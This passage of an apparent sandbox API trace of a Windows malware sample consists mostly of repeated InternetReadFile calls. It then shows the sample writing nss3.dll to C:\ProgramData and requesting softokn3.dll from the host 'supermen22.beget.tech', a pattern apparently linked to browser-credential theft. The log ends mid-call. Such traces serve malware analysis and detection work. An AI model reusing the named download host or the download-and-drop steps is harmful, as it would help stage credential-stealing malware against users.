lpBuffer=0x25f4e20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4e20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f5208, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f5208*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f55f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f55f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f59d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f59d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f5dc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f5dc0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f61a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f61a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f6590, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f6590*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f6978, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f6978*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f6d60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f6d60*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f7148, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f7148*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f7530, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f7530*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f7918, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f7918*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f7d00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f7d00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f80e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f80e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f84d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f84d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f88b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f88b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f8ca0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f8ca0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f9088, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f9088*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f9470, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f9470*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f9858, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f9858*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f9c40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f9c40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fa028, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fa028*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fa410, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fa410*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fa7f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fa7f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fabe0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fabe0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fafc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fafc8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fb3b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fb3b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fb798, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fb798*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fbb80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fbb80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.737] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fbf68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fbf68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.737] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fc350, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fc350*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.737] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fc738, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fc738*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.737] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fcb20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fcb20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fcf08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fcf08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fd2f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fd2f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fd6d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fd6d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fdac0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fdac0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fdea8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fdea8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fe290, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fe290*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fe678, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fe678*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fea60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fea60*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fee48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fee48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ff230, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ff230*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ff618, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ff618*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.740] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ffa00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ffa00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ffde8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ffde8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26001d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26001d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26005b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26005b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26009a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26009a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2600d88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2600d88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2601170, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2601170*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2601558, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2601558*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2601940, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2601940*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2601d28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2601d28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2602110, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2602110*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26024f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26024f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26028e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26028e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2602cc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2602cc8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26030b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26030b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2603498, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2603498*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2603880, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2603880*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2603c68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2603c68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604050, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604050*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604438, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604438*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604820, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604820*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604c08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604c08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604ff0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604ff0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26053d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26053d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26057c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26057c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2605ba8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2605ba8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2605f90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2605f90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606378, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606378*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606760, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606760*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606b48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606b48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606f30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606f30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607318, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607318*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607700, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607700*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607ae8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607ae8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607ed0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607ed0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26082b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26082b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26086a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26086a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2608a88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2608a88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2608e70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2608e70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.782] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609258, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609258*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.782] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609640, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609640*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.782] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609a28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609a28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.782] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609e10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609e10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.782] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260a1f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260a1f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.783] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260a5e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260a5e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.783] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260a9c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260a9c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.783] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260adb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260adb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.783] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260b198, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260b198*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.783] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260b580, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260b580*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.784] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260b968, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260b968*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.784] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260bd50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260bd50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.784] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260c138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260c138*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.785] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260c520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260c520*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.785] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260c908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260c908*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.615] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0 | out: lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0) returned 0 [0046.615] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0046.615] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0046.615] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0046.615] CreateFileA (lpFileName="C:\\ProgramData\\\\nss3.dll" (normalized: "c:\\programdata\\nss3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0046.615] WriteFile (in: hFile=0x270, lpBuffer=0x2a40020*, nNumberOfBytesToWrite=0x1303d0, lpNumberOfBytesWritten=0x19f824, lpOverlapped=0x0 | out: lpBuffer=0x2a40020*, lpNumberOfBytesWritten=0x19f824*=0x1303d0, lpOverlapped=0x0) returned 1 [0046.632] CloseHandle (hObject=0x270) returned 1 [0046.655] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x57d280 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0046.655] GetLastError () returned 0x0 [0046.655] SetLastError (dwErrCode=0x0) [0046.655] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0046.655] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f7b8, dwBufferLength=0x4) returned 1 [0046.655] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0046.656] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/softokn3.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 